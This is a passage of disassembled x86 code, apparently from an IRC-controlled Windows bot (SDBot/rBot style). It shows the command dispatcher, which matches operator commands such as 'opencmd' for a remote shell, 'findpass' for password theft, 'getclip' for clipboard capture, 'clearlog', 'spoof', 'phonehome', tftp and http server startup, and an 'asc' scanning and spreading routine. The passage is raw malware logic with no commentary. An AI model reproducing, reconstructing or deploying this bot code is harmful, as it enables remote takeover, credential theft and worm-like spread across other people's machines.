		push	offset aLg	; "lg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404268
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40424C
		push	edi
		push	offset aClg	; "clg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40424C
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404212
		push	edi
		push	offset aNi	; "ni"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404212
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041E7
		push	edi
		push	offset aSi	; "si"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041E7
		push	edi
		push	offset aKosomaky4d ; "KOSOMAKY4D"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041AD
		push	edi
		push	offset aKosomaky4d ; "KOSOMAKY4D"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041AD
		push	edi
		push	offset aProcs	; "procs"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40408D
		push	edi
		push	offset aPs	; "ps"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40408D
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404005
		push	edi
		push	offset aUp	; "up"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404005
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FE8
		push	edi
		push	offset aDrv	; "drv"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FE8
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FCF
		push	edi
		push	offset aDll	; "dll"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FCF
		push	edi
		push	offset aOpencmd	; "opencmd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5B
		push	edi
		push	offset aOcmd	; "ocmd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5B
		push	edi
		push	offset aCmdstop	; "cmdstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4033B1
		push	[ebp+esi+var_8C]
		push	0Ah
		push	offset dword_42C574
		push	offset dword_42C568
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_4033B1:				; CODE XREF: sub_401ACD+18CAj
		push	edi
		push	offset dword_42C564
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4034C7
		cmp	[ebp+var_8], ebx
		jnz	short loc_4033E5
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C550
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_4033E5:				; CODE XREF: sub_401ACD+18FCj
		mov	eax, [ebp+arg_18]
		xor	edi, edi
		mov	[ebp+arg_18], eax
		jmp	short loc_4033F2
; ---------------------------------------------------------------------------


loc_4033EF:				; CODE XREF: sub_401ACD+196Cj
		mov	eax, [ebp+arg_18]


loc_4033F2:				; CODE XREF: sub_401ACD+1920j
		cmp	[eax], bl
		jz	short loc_4033F9
		inc	eax
		jmp	short loc_4033FE
; ---------------------------------------------------------------------------


loc_4033F9:				; CODE XREF: sub_401ACD+1927j
		mov	eax, offset aEmpty ; "<Empty>"


loc_4033FE:				; CODE XREF: sub_401ACD+192Aj
		push	eax
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	[ebp+arg_18], 80h
		add	esp, 24h
		inc	edi
		cmp	edi, 3
		jl	short loc_4033EF
		push	offset unk_42C520
		call	sub_415D38
		pop	ecx


loc_403446:				; CODE XREF: sub_401ACD+1BFDj
					; sub_401ACD+2EFAj
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		mov	[ebp+arg_20], edi
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aSpoof	; "spoof"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404AAB
		push	offset aOff	; "off"
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4049D9
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C4EC
		push	eax
		mov	dword_4CF180, ebx
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_40349D:				; CODE XREF: sub_401ACD+2FD9j
		cmp	[ebp+var_8], ebx
		jnz	loc_409644
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869


loc_4034BF:				; CODE XREF: sub_401ACD+7032j
		add	esp, 14h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_4034C7:				; CODE XREF: sub_401ACD+18F3j
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F1A
		push	edi
		push	offset aGc	; "gc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F1A
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F03
		push	edi
		push	offset aFarp	; "farp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F03
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403ECB
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403ECB
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403E91
		push	edi
		push	offset aCip	; "cip"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403E91
		push	edi
		push	offset aRloginserver ; "rloginserver"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D56
		push	edi
		push	offset aRlogin	; "rlogin"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D56
		push	edi
		push	offset aHttpserver ; "httpserver"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403BCA
		push	edi
		push	offset aHttp	; "http"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403BCA
		push	edi
		push	offset aTftpserver ; "tftpserver"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403A90
		push	edi
		push	offset aTftp	; "tftp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403A90
		push	edi
		push	offset aShitycrash ; "shitycrash"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403653
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C444
		push	eax
		call	sub_41C266
		cmp	[ebp+var_8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_403632
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_403632:				; CODE XREF: sub_401ACD+1B47j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		mov	[esp+10h+var_10], offset aShitycrash ; "shitycrash"
		push	[ebp+esi+var_7C]
		call	sub_41CA50
		jmp	loc_4097D0
; ---------------------------------------------------------------------------


loc_403653:				; CODE XREF: sub_401ACD+1B2Fj
		push	edi
		push	offset aAsc	; "asc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403789
		push	edi
		push	offset aAs	; "as"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403789
		push	edi
		push	offset aPhonehome ; "phonehome"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4036AA
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: DADI	Are You	T"...
		push	[ebp+arg_4]
		call	sub_409823


loc_4036A2:				; CODE XREF: sub_401ACD+47Bj
		add	esp, 0Ch
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_4036AA:				; CODE XREF: sub_401ACD+1BBFj
		push	edi
		push	offset aFindpass ; "findpass"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4036D0
		push	edi
		push	offset aFp	; "fp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403446


loc_4036D0:				; CODE XREF: sub_401ACD+1BECj
		push	[ebp+var_88]
		lea	eax, [ebp+var_FEC]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_FF0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_F68], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_F64], eax
		push	offset unk_42C3C4
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	26h
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_F6C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FF0]
		push	ebx
		push	eax
		push	offset sub_4172C1
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04ABh
		mov	ecx, [ebp+var_F6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_403778


loc_403762:				; CODE XREF: sub_401ACD+1CA9j
		cmp	[ebp+var_F60], ebx
		jnz	loc_4082DE
		push	32h
		call	near ptr 26A044Bh
		nop
		jmp	short loc_403762
; ---------------------------------------------------------------------------


loc_403778:				; CODE XREF: sub_401ACD+1C93j
		nop
		call	near ptr 26A0CA7h
		push	eax
		push	offset unk_42C388
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_403789:				; CODE XREF: sub_401ACD+1B95j
					; sub_401ACD+1BAAj
		mov	al, byte_4319DA
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_4319DA
		jz	loc_401F75
		mov	ecx, edx


loc_4037A0:				; CODE XREF: sub_401ACD+1CDBj
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_4037A0
		cmp	al, bl
		jz	loc_401F75
		mov	[ebp+arg_18], edx


loc_4037B5:				; CODE XREF: sub_401ACD+1FAEj
		push	0Bh
		call	sub_40B602
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		mov	edx, eax
		mov	eax, 320h
		add	edx, ecx
		cmp	edx, eax
		jle	short loc_403808
		push	ecx
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C34C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h
		jmp	loc_403A72
; ---------------------------------------------------------------------------


loc_403808:				; CODE XREF: sub_401ACD+1D06j
		or	[ebp+var_730], 0FFFFFFFFh
		cmp	dword_4317F8, ebx
		mov	[ebp+var_734], 64h
		mov	[ebp+var_748], 5
		mov	[ebp+var_744], eax
		mov	[ebp+arg_0], ebx
		jz	short loc_403875
		mov	eax, [ebp+arg_18]
		mov	esi, offset dword_4317F8
		lea	edi, [eax-0Ah]


loc_40383F:				; CODE XREF: sub_401ACD+1D8Aj
		lea	eax, [esi-28h]
		push	edi
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40385B
		inc	[ebp+arg_0]
		add	esi, 40h
		cmp	[esi], ebx
		jnz	short loc_40383F
		jmp	short loc_403875
; ---------------------------------------------------------------------------


loc_40385B:				; CODE XREF: sub_401ACD+1D80j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_730], eax
		shl	ecx, 6
		mov	ecx, dword_4317F8[ecx]
		mov	[ebp+var_74C], ecx


loc_403875:				; CODE XREF: sub_401ACD+1D65j
					; sub_401ACD+1D8Cj
		cmp	[ebp+var_74C], ebx
		jz	loc_403A86
		push	10h
		lea	eax, [ebp+var_2D4]
		pop	esi
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		mov	[ebp+var_2D4], esi
		push	[ebp+arg_4]
		call	dword_4CB978
		mov	al, [ebp+var_8FF]
		push	esi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_308], eax
		push	[ebp+var_308]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41BFD0
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	esi, eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41C820
		add	esp, 14h
		cmp	esi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_40391D


loc_4038FB:				; CODE XREF: sub_401ACD+1E4Ej
		cmp	eax, ebx
		jz	short loc_40391D
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_860]
		push	30h
		push	eax
		call	sub_41C820
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, esi
		jl	short loc_4038FB


loc_40391D:				; CODE XREF: sub_401ACD+1E2Cj
					; sub_401ACD+1E30j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	esi, [ebp+var_4]
		mov	edi, [ebp+var_8]
		mov	[ebp+var_750], eax
		lea	eax, [ebp+var_850]
		push	80h
		push	eax
		mov	[ebp+var_720], 1
		mov	[ebp+var_728], esi
		mov	[ebp+var_724], edi
		call	sub_41C360
		push	offset byte_43DB88
		push	offset aF	; "#f"
		call	sub_41CA50
		add	esp, 14h
		test	eax, eax
		jz	short loc_40398A
		push	offset aF	; "#f"
		lea	eax, [ebp+var_7D0]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_403990
; ---------------------------------------------------------------------------


loc_40398A:				; CODE XREF: sub_401ACD+1EA0j
		mov	[ebp+var_7D0], bl


loc_403990:				; CODE XREF: sub_401ACD+1EBBj
		cmp	[ebp+var_720], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4039A2
		mov	eax, offset aSequential	; "Sequential"


loc_4039A2:				; CODE XREF: sub_401ACD+1ECEj
		push	[ebp+var_734]
		lea	ecx, [ebp+var_860]
		push	[ebp+var_744]
		push	[ebp+var_748]
		push	[ebp+var_74C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C2CC
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3BA
		add	esp, 2Ch
		mov	[ebp+var_740], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset loc_40C600
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04ABh
		mov	ecx, [ebp+var_740]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_403A2C


loc_403A1A:				; CODE XREF: sub_401ACD+1F5Dj
		cmp	[ebp+var_71C], ebx
		jnz	short loc_403A47
		push	32h
		nop
		call	near ptr 26A044Bh
		jmp	short loc_403A1A
; ---------------------------------------------------------------------------


loc_403A2C:				; CODE XREF: sub_401ACD+1F4Bj
		nop
		call	near ptr 26A0CA7h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C290
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_403A47:				; CODE XREF: sub_401ACD+1F53j
		cmp	edi, ebx
		jnz	short loc_403A65
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_403A65:				; CODE XREF: sub_401ACD+1F7Cj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		pop	ecx


loc_403A72:				; CODE XREF: sub_401ACD+1D36j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_4037B5
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_403A86:				; CODE XREF: sub_401ACD+1DAEj
		push	offset unk_42C258
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_403A90:				; CODE XREF: sub_401ACD+1B05j
					; sub_401ACD+1B1Aj
		push	5
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_403AA6
		push	offset unk_42C238
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_403AA6:				; CODE XREF: sub_401ACD+1FCDj
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jz	short loc_403AC9
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_2D54]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_403ADD
; ---------------------------------------------------------------------------


loc_403AC9:				; CODE XREF: sub_401ACD+1FE2j
		mov	edi, 104h
		lea	eax, [ebp+var_2D54]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 2690000h


loc_403ADD:				; CODE XREF: sub_401ACD+1FFAj
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_403AED
		mov	esi, offset byte_429108


loc_403AED:				; CODE XREF: sub_401ACD+2019j
		push	esi
		lea	eax, [ebp+var_2C50]
		push	edi
		push	eax
		call	sub_41C360
		mov	eax, dword_429078
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2B44],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2B48],	ebx
		mov	[ebp+var_2D58],	eax
		lea	eax, [ebp+var_2B40]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_2AC0],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2ABC],	eax
		lea	eax, [ebp+var_2D54]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_2B44]
		push	offset unk_42C204
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	5
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_2B4C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2D58]
		push	ebx
		push	eax
		push	offset byte_412197
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04ABh
		mov	ecx, [ebp+var_2B4C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_403BB9


loc_403BA3:				; CODE XREF: sub_401ACD+20EAj
		cmp	[ebp+var_2AB8],	ebx
		jnz	loc_4081AD
		push	32h
		call	near ptr 26A044Bh
		nop
		jmp	short loc_403BA3
; ---------------------------------------------------------------------------


loc_403BB9:				; CODE XREF: sub_401ACD+20D4j
		nop
		call	near ptr 26A0CA7h
		push	eax
		push	offset unk_42C1C8
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_403BCA:				; CODE XREF: sub_401ACD+1ADBj
					; sub_401ACD+1AF0j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403BE9
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jz	short loc_403BE9
		push	edi
		call	sub_41C159
		pop	ecx
		jmp	short loc_403BEE
; ---------------------------------------------------------------------------


loc_403BE9:				; CODE XREF: sub_401ACD+2106j
					; sub_401ACD+2111j
		mov	eax, dword_42907C


loc_403BEE:				; CODE XREF: sub_401ACD+211Aj
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_36CC],	eax
		xor	eax, eax
		cmp	[ebp+var_8FC], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_36B8],	eax
		jz	short loc_403C21
		lea	eax, [ebp+var_37D0]
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	short loc_403C4C
; ---------------------------------------------------------------------------


loc_403C21:				; CODE XREF: sub_401ACD+2141j
		lea	eax, [ebp+var_49F4]
		push	104h
		push	eax
		nop
		call	near ptr 26A0000h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_49F4]
		push	eax
		call	sub_41C3B1
		add	esp, 14h


loc_403C4C:				; CODE XREF: sub_401ACD+2152j
		lea	eax, [ebp+var_37D0]
		push	eax
		call	sub_41B9C0
		cmp	[ebp+eax+var_37D1], 5Ch
		pop	ecx
		jnz	short loc_403C77
		lea	eax, [ebp+var_37D0]
		push	eax
		call	sub_41B9C0
		pop	ecx
		mov	[ebp+eax+var_37D1], bl


loc_403C77:				; CODE XREF: sub_401ACD+2194j
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_3A58]
		mov	[ebp+var_3A5C],	esi
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_36BC],	eax
		lea	eax, [ebp+var_37D0]
		mov	[ebp+var_36C0],	edi
		push	eax
		push	[ebp+var_36CC]
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C18C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	3
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_36C4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3A5C]
		push	ebx
		push	eax
		push	offset sub_40FAD6
		push	ebx
		push	ebx
		call	near ptr 26A04ABh
		nop
		mov	ecx, [ebp+var_36C4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_403D2B


loc_403D19:				; CODE XREF: sub_401ACD+225Cj
		cmp	[ebp+var_36B0],	ebx
		jnz	short loc_403D46
		push	32h
		call	near ptr 26A044Bh
		nop
		jmp	short loc_403D19
; ---------------------------------------------------------------------------


loc_403D2B:				; CODE XREF: sub_401ACD+224Aj
		call	near ptr 26A0CA7h
		nop
		push	eax
		push	offset unk_42C150


loc_403D37:				; CODE XREF: sub_401ACD+23BFj
					; sub_401ACD+4BDCj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_403D46:				; CODE XREF: sub_401ACD+2252j
					; sub_401ACD+23A3j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4082DE
		push	ebx
		push	edi
		jmp	loc_4071A3
; ---------------------------------------------------------------------------


loc_403D56:				; CODE XREF: sub_401ACD+1AB1j
					; sub_401ACD+1AC6j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403D75
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jz	short loc_403D75
		push	edi
		call	sub_41C159
		pop	ecx
		jmp	short loc_403D7A
; ---------------------------------------------------------------------------


loc_403D75:				; CODE XREF: sub_401ACD+2292j
					; sub_401ACD+229Dj
		mov	eax, dword_429080


loc_403D7A:				; CODE XREF: sub_401ACD+22A6j
		mov	[ebp+var_1828],	eax
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jnz	short loc_403D91
		lea	eax, [ebp+var_C4]


loc_403D91:				; CODE XREF: sub_401ACD+22BCj
		push	eax
		lea	eax, [ebp+var_1968]
		push	40h
		push	eax
		call	sub_41C360
		mov	esi, [ebp+esi+var_84]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_403DB3
		mov	esi, offset byte_43DB88


loc_403DB3:				; CODE XREF: sub_401ACD+22DFj
		push	esi
		lea	eax, [ebp+var_1928]
		push	100h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_19E8]
		push	[ebp+var_88]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1814],	eax
		lea	eax, [ebp+var_1968]
		push	eax
		mov	[ebp+var_19EC],	esi
		push	[ebp+var_1828]
		mov	[ebp+var_1818],	edi
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C114
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	9
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_1824],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_19EC]
		push	ebx
		push	eax
		push	offset word_41144E
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04ABh
		mov	ecx, [ebp+var_1824]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_403E80


loc_403E6A:				; CODE XREF: sub_401ACD+23B1j
		cmp	[ebp+var_1810],	ebx
		jnz	loc_403D46
		push	32h
		call	near ptr 26A044Bh
		nop
		jmp	short loc_403E6A
; ---------------------------------------------------------------------------


loc_403E80:				; CODE XREF: sub_401ACD+239Bj
		call	near ptr 26A0CA7h
		nop
		push	eax
		push	offset unk_42C0D8
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_403E91:				; CODE XREF: sub_401ACD+1A87j
					; sub_401ACD+1A9Cj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_403EA4
		push	esi
		call	sub_41C159
		jmp	short loc_403EAB
; ---------------------------------------------------------------------------


loc_403EA4:				; CODE XREF: sub_401ACD+23CDj
		push	0Bh
		call	sub_40B621


loc_403EAB:				; CODE XREF: sub_401ACD+23D5j
		cmp	eax, ebx
		pop	ecx
		jz	loc_409644
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BD1A
		jmp	loc_404376
; ---------------------------------------------------------------------------


loc_403ECB:				; CODE XREF: sub_401ACD+1A5Dj
					; sub_401ACD+1A72j
		mov	eax, dword_4CB8F0
		cmp	eax, ebx
		jz	short loc_403EE8
		call	eax
		test	eax, eax
		jz	short loc_403EE1
		push	offset unk_42C0B4
		jmp	short loc_403EED
; ---------------------------------------------------------------------------


loc_403EE1:				; CODE XREF: sub_401ACD+240Bj
		push	offset unk_42C088
		jmp	short loc_403EED
; ---------------------------------------------------------------------------


loc_403EE8:				; CODE XREF: sub_401ACD+2405j
		push	offset unk_42C05C


loc_403EED:				; CODE XREF: sub_401ACD+2412j
					; sub_401ACD+2419j ...
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		jmp	loc_406BFB
; ---------------------------------------------------------------------------


loc_403F03:				; CODE XREF: sub_401ACD+1A33j
					; sub_401ACD+1A48j
		call	sub_40A928
		test	eax, eax
		jz	short loc_403F13
		push	offset unk_42C038
		jmp	short loc_403EED
; ---------------------------------------------------------------------------


loc_403F13:				; CODE XREF: sub_401ACD+243Dj
		push	offset unk_42C00C
		jmp	short loc_403EED
; ---------------------------------------------------------------------------


loc_403F1A:				; CODE XREF: sub_401ACD+1A09j
					; sub_401ACD+1A1Ej
		cmp	[ebp+var_8], ebx
		jnz	short loc_403F39
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42BFF4
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_403F39:				; CODE XREF: sub_401ACD+2450j
		push	ebx
		push	[ebp+var_4]
		call	sub_418723
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	offset unk_42BFD8
		jmp	loc_40423F
; ---------------------------------------------------------------------------


loc_403F5B:				; CODE XREF: sub_401ACD+18A0j
					; sub_401ACD+18B5j
		push	0Ah
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_403F6E
		push	offset unk_42BFAC
		jmp	short loc_403F8F
; ---------------------------------------------------------------------------


loc_403F6E:				; CODE XREF: sub_401ACD+2498j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41A1B1
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_403F8A
		push	offset unk_42BF84
		jmp	short loc_403F8F
; ---------------------------------------------------------------------------


loc_403F8A:				; CODE XREF: sub_401ACD+24B4j
		push	offset unk_42BF64


loc_403F8F:				; CODE XREF: sub_401ACD+249Fj
